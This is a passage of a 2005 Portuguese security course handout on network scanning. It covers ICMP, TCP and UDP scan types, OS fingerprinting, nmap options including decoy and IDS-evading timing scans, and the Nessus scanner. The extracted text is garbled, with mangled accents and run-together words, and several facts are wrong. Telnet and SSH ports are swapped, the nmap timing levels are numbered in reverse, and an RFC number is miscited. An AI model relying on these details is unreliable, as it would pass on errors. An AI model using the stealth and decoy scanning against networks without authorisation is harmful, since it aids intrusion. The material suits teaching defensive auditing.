Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 40 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20058) Analisando e varrendo a RedePara realizar a varredura da rede caracteriacutesticas especiacuteficas do seu protocolo devem serexploradas Como o protocolo de rede utilizado na especificaccedilatildeo do modelo eacute o TCPIP as teacutecnicas de

varredura aqui descritas satildeo aquelas que se baseiam nas caracteriacutesticas desta pilha de protocoloSobre a pilha do TCPIP existem trecircs tipos baacutesicos de varreduras uma baseada no seu protocolo decontrole (ICMP) outra no protocolo TCP e a terceira no protocolo UDP Dentre as varreduras a maisutilizada eacute a TCP isto se deve ao elevado niacutevel de exatidatildeo que esta coleta de dados propicia81) Varredura ICMP - Internet Control Message ProtocolUma das teacutecnicas mais simples de varredura eacute a Varredura via ICMP O protocolo ICMP eacutenormalmente utilizado para o envio e recebimento de informaccedilotildees sobre o funcionamento dos noacutes como porexemplo data e horaAtraveacutes deste protocolo eacute possiacutevel implementar vaacuterios meacutetodos de varreduras como por exemploenvio de ECHO e ECHO Reply anaacutelise de mensagens de erro geradas por um noacute uso de Trace Routecom ICMP ECHO e etcICMP ECHO e ECHO Reply Esta varredura consiste no envio de pacotes do tipo ICMPECHO ao noacute alvo e aguardar por uma resposta Todo noacute ativo deve responder a esta mensagem com umpacote do tipo ICMP ECHO Reply Quando um noacute natildeo responde aos pacotes ICMP ECHO dentro de umintervalo de tempo (time-out) o mesmo pode estar desconectado ou sendo filtrado por algum firewall ougateway de bordaUm exemplo de varredura via ICMP eacute a utilizaccedilatildeo do comando ping que eacute um aplicativopadratildeo TCPIP que estaacute presente em vaacuterias arquiteturas eacute permite o envio de pacotes dotipo ICMP ECHO para verificar se um noacute estaacute ativo Poreacutem esta forma de verificaccedilatildeo natildeo eacuteindicada para redes com mais do que poucas dezenas de noacutes O ping sempre espera aresposda de um noacute ao pacote enviado ou ateacute que ocorra o time-out antes de enviar umoutro pacoteUma alternativa ao ping eacute o aplicativo fping que eacute utilitaacuterio de rede disponiacutevel para asplataformas Unix-Like e que funciona de forma anaacuteloga ao ping mas com o envio depacotes de forma paralela que utiliza a mesma teacutecnica entretanto realiza o envio dosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 41 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005pacotes ICMP de forma simultacircnea para vaacuterios endereccedilos acelerando o processo de

varredura da rede Outra funcionalidade deste aplicativo eacute a possibilidade de se configurar otime-out da conexatildeoO uso do endereccedilo de Broadcast e de Rede satildeo duas alternativas que podem ser utilizadasneste tipo de varredura Neste caso todos os noacutes ativos na rede devem responder ao noacuteque originou a mensagem com um pacote ICMP ECHO Reply Desta forma com um uacutenicopacote eacute possiacutevel varrer todo um segmento de rede Entretanto esta teacutecnica soacute pode seraplicada para noacutes baseados no Unix uma vez que maacutequinas com sistema operacional daMicrosoft natildeo respondem a solicitaccedilatildeo ICMP quando enviada ao endereccedilo de Broadcast oude RedePois segundo a RFC1122 se um pacote ICMP ECHO eacute enviado via endereccedilo deBroadcast ou de Rede o mesmo pode ser silenciosamente descartado pelo noacutes que orecebeA varredura utilizando endereccedilo de Broadcast ou Rede pode provocar uma negaccedilatildeo deserviccedilo ( DoS - Denial-of-Service) no noacute responsaacutevel pelo envio dos pacotes ICMP ECHOEsta negaccedilatildeo de serviccedilo ocorre devido agrave grande quantidade de pacotes de resposta que elerecebe para cada pacote ICMP geradoNon-ECHO ICMP Aleacutem da mensagem ICMP ECHO o protocolo ICMP implementa vaacuteriosoutros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no proacutepriomapeamento de dispositivos de rede Dentre as principais mensagens ICMP pode-se destacar ECHO( Request - Tipo 8 Reply - Tipo 0) Time Stamp ( Request - Tipo 13 Reply - Tipo 14) Information( Request - Tipo 15 Reply - Tipo 16) e Address Mask ( Request - Tipo 17 Reply - Tipo 18)O envio de mensagens do tipo ICMP Time Stamp Request eacute utilizado normalmente paraquestionar a um noacute a sua hora e data atual Receber uma resposta ICMP Time StampReply significa que o noacute estaacute ativo Contudo as mensagens ICMP Time Stamp Requestnatildeo costumam ser respondidas por noacutes com um dos sistemas operacionais da Microsoft Ocomportamento dos sistemas da Microsoft se deve agrave forma como a RFC 1122 foiinterpretada pelos seus desenvolvedores

A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos (TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a 